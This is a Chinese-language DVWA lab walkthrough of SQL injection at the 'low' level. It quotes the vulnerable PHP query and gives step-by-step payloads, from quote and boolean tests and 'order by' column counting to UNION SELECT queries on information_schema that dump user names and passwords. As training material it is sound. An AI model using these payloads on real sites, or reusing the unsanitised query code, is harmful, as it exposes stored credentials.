sql注入基本思路:
1.源码
2.判断数字型和字符型
3.猜测字段数
4.查询数据库中的字段
5.查询表中的字段
6.查询user表中的字段
7.拿字段中数据
low:
1.源码:
<?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);
}?>
可以看到没有任何过滤语句
2.判断数字型和字符型:
加单引号: 1'
回显失败
加判断 1 and 1=1
回显正常
判断:1 and 1=2
,回显正常且查询成功,可判断不是数字型注入
判断:1‘ and '1'='1
,回显查询正常
判断:1’ and ‘1’='2,回显失败
说明类型为字符型注入
3.猜测字段数:
格式: order by 数字 #
数字是将这n个数字按顺序列出,#井号作用是屏蔽之后的语句
回显错误:1' order by 3 #
4.查询数据库中的字段:
union select联合查询
查询出两个字段: First name 和 Surname
5.查询表中的字段
语句:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
group_concat : 返回结果为连接参数产生的字符串,并将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
也 可以用concat函数,只是结果会分开,不如group_concat直观
结果:查询出guestbook 和 users两个表名
6.查询user表中的字段
语句:1' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' #
发现敏感字段:user-id,password
7.拿字段中数据:
语句:1' union select group_concat(user),group_concat(password) from users #
除此之外,user_id中是数字序号,firstname中是用户名,last_name中是姓。。。。等等,都可以通过语句得到
dvwa 的sql模块似乎出了点问题,低中高三级都打不开了。。。。